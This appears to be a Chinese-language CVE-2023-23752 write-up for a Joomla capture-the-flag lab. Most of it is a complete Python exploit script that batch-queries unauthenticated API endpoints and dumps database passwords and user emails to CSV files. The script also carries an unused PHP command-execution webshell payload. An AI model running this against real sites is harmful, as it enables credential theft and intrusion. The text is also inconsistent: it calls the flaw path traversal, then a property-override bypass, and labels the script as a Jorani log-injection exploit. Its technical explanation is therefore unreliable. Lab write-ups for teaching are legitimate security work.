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CVE-2023-23752

是一个影响 Joomla CMS 的未授权路径遍历漏洞。该漏洞出现在 Joomla 4.0.0 至 4.2.7 版本中，允许未经认证的远程攻击者通过特定 API 端点读取服务器上的敏感文件，包括配置文件等，这可能会导致服务器上的敏感信息泄露和进一步的攻击。

漏洞细节

• 漏洞编号：CVE-2023-23752
• 影响版本：Joomla 4.0.0 至 4.2.7
• 漏洞类型：路径遍历 (Directory Traversal)
• 访问要求：无需身份验证即可访问
• 利用条件：通过指定的 API 端点，结合路径遍历参数访问系统文件

攻击者通过利用路径遍历技巧向 Joomla 的 API 端点发送特定请求，可以直接访问和读取 Joomla 服务器的敏感文件，如 configuration.php 文件，其中可能包含数据库凭据、加密密钥等关键信息。

漏洞利用示例

攻击者可以通过如下请求来尝试获取配置文件内容：

GET /api/index.php/v1/config/application?path=../../configuration.php HTTP/1.1
Host: target-site.com

在 path 参数中使用路径遍历（如 …/…/）可绕过文件路径限制并访问 Joomla 安装路径外的文件。通过请求配置文件，攻击者能够获取服务器的数据库连接信息、加密密钥等敏感数据。

修复建议

Joomla 已在 4.2.8 版本中修复了该漏洞。建议用户尽快采取以下措施：

1. 升级 Joomla 版本：将 Joomla CMS 升级至 4.2.8 或更高版本。
2. 限制 API 访问：在服务器设置中对 /api/index.php 端点进行访问限制，以避免未经授权的访问。
3. 启用 Web 应用防火墙（WAF）：WAF 可帮助过滤和阻止包含路径遍历特征的恶意请求。

春秋云镜：

Joomla是一个开源免费的内容管理系统（CMS），基于PHP开发。在其4.0.0版本到4.2.7版本中，存在一处属性覆盖漏洞，导致攻击者可以通过恶意请求绕过权限检查，访问任意Rest API。

解法一：

直接利用脚本

"""
CVE-2023-23752 利用：Jorani 1.0.0 中的路径遍历与日志注入漏洞
该漏洞允许攻击者通过路径遍历访问日志文件并注入恶意代码，从而执行远程命令。
"""import requests
import argparse
import csv
import json
import datetime
import sys
import re
import base64
import random
import string# 禁用 SSL 不安全请求的警告
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)# 定义日志输出的函数，带有颜色显示
def inGreen(s):return "\033[0;32m{}\033[0m".format(s)def inYellow(s):return "\033[0;33m{}\033[0m".format(s)# 定义日志、错误和消息输出函数
def msg(x, y="\n"):print(f'\x1b[92m[+]\x1b[0m {x}', end=y)def err(x, y="\n"):print(f'\x1b[91m[x]\x1b[0m {x}', end=y)def log(x, y="\n"):print(f'\x1b[93m[?]\x1b[0m {x}', end=y)# 正则表达式，用于提取 CSRF 令牌和命令执行结果
CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
CMD_PATTERN = re.compile('---------(.*?)---------', re.S)# 定义 API 路径映射
URLS = {'login': '/session/login','view': '/pages/view/',
}# 随机生成一个头字段名，以绕过某些防护机制
HEADER_NAME = ''.join(random.choice(string.ascii_uppercase) for _ in range(12))# 定义用于绕过重定向保护的请求头
BypassRedirect = {'X-REQUESTED-WITH': 'XMLHttpRequest',HEADER_NAME: ""
}# 定义伪终端输入的提示符样式
INPUT = "\x1b[92muser\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ "# 简化 URL 构造的函数
u = lambda base_url, path_key: base_url + URLS[path_key]# 注入的恶意 PHP 代码和路径遍历 payload
POISON_PAYLOAD = f"<?php if(isset($_SERVER['HTTP_{HEADER_NAME}'])){{system(base64_decode($_SERVER['HTTP_{HEADER_NAME}']));}} ?>"
PATH_TRAV_PAYLOAD = "../../application/logs"# 全局变量，用于存储输出文件路径、代理设置和是否禁用颜色输出
output = ""
proxy = {}
notColor = False
timeout = 10  # 添加这行，设置请求超时时间为10秒def readFile(filepath):"""读取文件内容，返回每行数据的列表"""try:with open(filepath, encoding='utf8') as file:return file.readlines()except Exception as e:err(f"读取文件失败: {e}")sys.exit(1)def writeFile(filepath, data):"""将数据写入 CSV 文件"""try:with open(filepath, 'a', encoding='utf8', newline='') as file:filecsv = csv.writer(file)filecsv.writerow(data)except Exception as e:err(f"写入文件失败: {e}")def reqDatabase(url):"""请求数据库配置信息，并提取用户名和密码"""# 构造请求 URLif url.endswith("/"):api_url = f"{url}api/index.php/v1/config/application?public=true"else:api_url = f"{url}/api/index.php/v1/config/application?public=true"# 定义请求头headers = {'Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.9','Connection': 'close'}try:# 发送 GET 请求response = requests.get(api_url, headers=headers, verify=False, proxies=proxy, timeout=timeout)# 检查响应内容是否包含用户和密码信息if "links" in response.text and "\"password\":" in response.text:try:rejson = response.json()user = ""password = ""for dataone in rejson['data']:attributes = dataone.get('attributes', {})user = attributes.get('user', "")password = attributes.get('password', "")if user or password:printBody = f"[+] [Database]   {url} --> {user} / {password}"if notColor:print(printBody)else:print(inYellow(printBody))if output.strip():writeFile(f"{output}_databaseUserAndPassword.csv", [url, user, password, response.text])return url, response.textexcept json.JSONDecodeError:err("解析 JSON 失败")except requests.RequestException as e:err(f"请求数据库信息失败: {e}")def reqUserAndEmail(url):"""请求用户和邮箱信息，并提取用户名和邮箱"""# 构造请求 URLif url.endswith("/"):api_url = f"{url}api/index.php/v1/users?public=true"else:api_url = f"{url}/api/index.php/v1/users?public=true"# 定义请求头headers = {'Upgrade-Insecure-Requests': '1','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','Accept-Encoding': 'gzip, deflate','Accept-Language': 'zh-CN,zh;q=0.9','Connection': 'close'}try:# 发送 GET 请求response = requests.get(api_url, headers=headers, verify=False, proxies=proxy, timeout=timeout)# 检查响应内容是否包含用户名和邮箱信息if "username" in response.text and "email" in response.text:try:rejson = response.json()for dataone in rejson['data']:attributes = dataone.get('attributes', {})username = attributes.get('username', "")email = attributes.get('email', "")if username or email:printBody = f"[+] [User&email] {url} --> {username} / {email}"if notColor:print(printBody)else:print(inGreen(printBody))if output.strip():writeFile(f"{output}_usernameAndEmail.csv", [url, username, email, response.text])return url, response.textexcept json.JSONDecodeError:err("解析 JSON 失败")except requests.RequestException as e:err(f"请求用户和邮箱信息失败: {e}")def reqs(listfileName):"""读取 URL 列表并依次执行数据库和用户信息请求"""urls = readFile(listfileName)for url in urls:url = url.strip()if not url:continuereqDatabase(url)reqUserAndEmail(url)def main():"""主函数，解析命令行参数并执行相应操作"""parser = argparse.ArgumentParser(description="Jorani 1.0.0 CVE-2023-23752 漏洞利用脚本")parser.add_argument('-u', '--url', type=str, default="", help="单个测试目标的 URL")parser.add_argument('-l', '--listfile', type=str, default="", help="包含测试目标 URL 的文件")parser.add_argument('-o', '--output', type=str, default="", help="输出文件的位置（不带扩展名）")parser.add_argument('-p', '--proxy', type=str, default="", help="代理地址，例如：http://localhost:1080")parser.add_argument('-nc', '--notColor', action='store_true', help="禁用带颜色的输出")opt = parser.parse_args()args = vars(opt)url = args['url']urlFileName = args['listfile']global output, proxy, notColoroutput = args['output']if args['proxy']:proxy['http'] = args['proxy']proxy['https'] = args['proxy']notColor = args['notColor']if url:reqDatabase(url)reqUserAndEmail(url)if urlFileName:reqs(urlFileName)if __name__ == '__main__':main()

flag{631f8b58-cbda-473d-a969-5160c11977be}

解法二：

其本身可利用的api接口

v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id

/api/index.php/v1/config/application?public=true

这里存在的是数据库信息，没有看到有flag

/api/index.php/v1/users?public=true

查看用户信息，找到flag